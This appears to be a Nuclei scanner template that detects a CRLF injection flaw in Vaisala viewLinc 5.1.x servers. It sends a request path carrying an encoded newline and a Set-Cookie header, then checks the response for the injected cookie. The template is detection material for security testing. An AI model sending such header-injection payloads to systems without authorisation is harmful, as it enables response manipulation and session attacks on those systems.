id: viewlinc-crlf-injection

info:
  name: viewLinc viewLinc/5.1.2.367 (and sometimes 5.1.1.50) is vulnerable to CRLF Injection.
  author: geeknik
  severity: low
  description: The viewLinc application allows remote attackers to inject a CRLF character into the responses returned by the product, this allows attackers to inject arbitrary HTTP headers into the response returned.
  reference: https://www.vaisala.com/en/products/systems/indoor-monitoring-systems/viewlinc-continuous-monitoring-system
  tags: crlf,viewlinc

requests:
  - method: GET
    path:
      - "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"

    matchers-condition: or
    matchers:
      - type: word
        words:
          - "Server: viewLinc/5.1.2.367"
          - "Set-Cookie: crlfinjection=crlfinjection"
        part: header
        condition: and

      - type: word
        words:
          - "Server: viewLinc/5.1.1.50"
          - "Set-Cookie: crlfinjection=crlfinjection"
        part: header
        condition: and